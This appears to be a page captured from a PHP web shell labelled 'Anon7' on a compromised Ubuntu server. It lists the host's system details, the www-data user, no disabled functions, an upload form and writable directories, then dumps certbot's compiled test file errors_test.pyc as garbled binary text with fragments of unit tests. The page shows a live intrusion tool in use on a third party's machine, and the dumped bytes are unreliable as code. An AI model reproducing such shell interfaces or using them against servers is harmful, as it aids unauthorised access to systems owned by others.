KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /lib/python3/dist-packages/certbot/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/certbot/tests/__pycache__/errors_test.cpython-38.pyc
U

�]7�@spdZddlZddlZddlmZddlmZddlmZGdd�dej	�Z
Gdd	�d	ej	�Zed
krle�
�dS)zTests for certbot.errors.�N)�messages)�achallenges)�	acme_utilc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�FailedChallengesTestz*Tests for certbot.errors.FailedChallenges.cCsBddlm}|ttjdtjtjdtj	ddd�d�d�g��|_
dS)	Nr��FailedChallenges�example.com�tls�detail��typr
�ZchallZuri�error�ZdomainZchallb)�certbot.errorsr�setr�DNSr�
ChallengeBodyr�DNS01�Errorr)�selfr�r�;/usr/lib/python3/dist-packages/certbot/tests/errors_test.py�setUps��zFailedChallengesTest.setUpcCs|�t|j��d��dS)N�9Failed authorization procedure. example.com (dns-01): tls��
assertTrue�strr�
startswith�rrrr�test_strs�zFailedChallengesTest.test_strcCsXddlm}d}|ttjdtjtjdtj	d|d�d�d�g��}|�
t|��d	��dS)
Nrru
عدالةrr	rr
rr)
rrrrrrrrrrrrr)rrZ
arabic_detailZarabic_errorrrr�test_unicodes���z!FailedChallengesTest.test_unicodeN)�__name__�
__module__�__qualname__�__doc__rr r!rrrrrsrc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�StandaloneBindErrorTestz-Tests for certbot.errors.StandaloneBindError.cCs ddlm}|tjjd�|_dS)Nr)�StandaloneBindError��)rr'�mock�sentinelr)rr'rrrr)szStandaloneBindErrorTest.setUpcCs(|�tjj|jj�|�d|jj�dS)Nr()ZassertEqualr)r*rZsocket_errorZportrrrr�test_instance_args-sz*StandaloneBindErrorTest.test_instance_argscCs|�t|j��d��dS)NzProblem binding to port 1234: rrrrrr 1s�z StandaloneBindErrorTest.test_strN)r"r#r$r%rr+r rrrrr&&sr&�__main__)r%Zunittestr)ZacmerZcertbotrZ
certbot.testsrZTestCaserr&r"�mainrrrr�<module>s

Anon7 - 2021